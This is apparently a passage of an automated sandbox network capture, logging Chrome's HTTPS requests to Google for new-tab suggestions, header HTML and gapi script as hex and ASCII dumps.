2024-11-11 18:52:05 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:52:05 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-QypnQRMon4MvA3LNL-REGg' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:52:05 UTC	112	IN	Data Raw: 61 30 32 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 70 73 35 20 70 72 6f 20 67 61 6d 65 73 22 2c 22 74 68 65 20 65 64 6d 75 6e 64 20 66 69 74 7a 67 65 72 61 6c 64 20 77 72 65 63 6b 22 2c 22 64 65 61 64 70 6f 6f 6c 20 61 6e 64 20 77 6f 6c 76 65 72 69 6e 65 20 73 74 72 65 61 6d 69 6e 67 20 64 61 74 65 22 2c 22 62 72 79 63 65 20 75 6e 64 65 Data Ascii: a02)]}'["",["ps5 pro games","the edmund fitzgerald wreck","deadpool and wolverine streaming date","bryce unde
2024-11-11 18:52:05 UTC	1378	IN	Data Raw: 72 77 6f 6f 64 20 6d 69 63 68 69 67 61 6e 22 2c 22 63 61 72 64 61 6e 6f 20 61 64 61 20 70 72 69 63 65 22 2c 22 73 70 61 63 65 78 20 6c 61 75 6e 63 68 65 73 20 63 61 70 65 20 63 61 6e 61 76 65 72 61 6c 22 2c 22 6f 75 74 65 72 20 62 61 6e 6b 73 20 6a 6a 20 64 65 61 74 68 20 72 65 64 64 69 74 22 2c 22 63 6f 73 74 63 6f 20 62 75 74 74 65 72 20 72 65 63 61 6c 6c 65 64 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a Data Ascii: rwood michigan","cardano ada price","spacex launches cape canaveral","outer banks jj death reddit","costco butter recalled"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZ
2024-11-11 18:52:05 UTC	1079	IN	Data Raw: 35 77 4e 57 46 30 63 7a 4e 69 51 6a 42 74 63 33 51 77 4d 32 4e 58 62 6b 68 54 4e 6c 41 77 5a 6b 5a 44 52 7a 4a 75 61 6b 35 33 54 6a 4a 72 57 6c 46 58 62 6c 70 6c 56 7a 46 35 55 6e 41 79 53 6b 4e 4c 55 6c 46 34 54 30 68 6c 61 6b 59 72 63 46 5a 78 64 6b 68 7a 55 30 68 48 4e 44 4a 75 52 56 51 76 64 56 46 32 54 57 34 30 5a 32 4e 51 5a 48 64 30 53 46 59 78 4d 56 68 69 56 46 55 78 63 33 4e 49 4e 6d 6c 32 61 6e 46 48 51 54 64 58 53 46 4a 34 55 6e 6b 32 57 58 6f 30 5a 54 52 54 56 44 68 58 59 31 59 33 52 6e 4e 6a 54 58 70 4a 56 32 64 48 4d 6d 68 6e 4f 57 4a 76 56 6c 56 6a 5a 44 52 75 53 6d 5a 57 57 48 6f 31 4d 7a 42 32 4d 43 74 54 53 57 35 6f 56 6b 38 35 63 6c 4e 58 55 45 70 4b 54 6a 64 51 4c 33 64 78 62 6c 42 33 52 6a 49 34 59 6e 6c 43 4f 45 78 47 65 44 68 6e 64 Data Ascii: 5wNWF0czNiQjBtc3QwM2NXbkhTNlAwZkZDRzJuak53TjJrWlFXblplVzF5UnAySkNLUlF4T0hlakYrcFZxdkhzU0hHNDJuRVQvdVF2TW40Z2NQZHd0SFYxMVhiVFUxc3NINml2anFHQTdXSFJ4Unk2WXo0ZTRTVDhXY1Y3RnNjTXpJV2dHMmhnOWJvVlVjZDRuSmZWWHo1MzB2MCtTSW5oVk85clNXUEpKTjdQL3dxblB3RjI4YnlCOExGeDhnd
2024-11-11 18:52:05 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49709	142.250.184.228	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:05 UTC	518	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:52:06 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 18:52:06 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:52:06 UTC	336	IN	Data Raw: 32 32 39 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2292)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 39 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700339,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 Data Ascii: 1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003
2024-11-11 18:52:06 UTC	254	IN	Data Raw: 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 0d 0a Data Ascii: a\u003da.i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?
2024-11-11 18:52:06 UTC	447	IN	Data Raw: 31 62 38 0d 0a 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c Data Ascii: 1b8\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.je\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ke\u003dfunction(a,b,c){return _.Ab(a,b,c,!1)!\u003d\
2024-11-11 18:52:06 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 5a 64 5c 75 30 30 33 64 5f 2e 52 64 3b 5f 2e 63 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 66 65 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 Data Ascii: 8000\u003d0){return _.Bb(_.S(a,b),c)};_.oe\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Zd\u003d_.Rd;_.ce\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};fe\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49710	142.250.184.228	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:05 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:52:06 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 18:52:06 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:52:06 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-11 18:52:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49719	142.250.185.78	443	5596	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:52:08 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:52:08 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 00:32:18 GMT Expires: Tue, 11 Nov 2025 00:32:18 GMT Cache-Control: public, max-age=31536000 Age: 65990 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 18:52:08 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
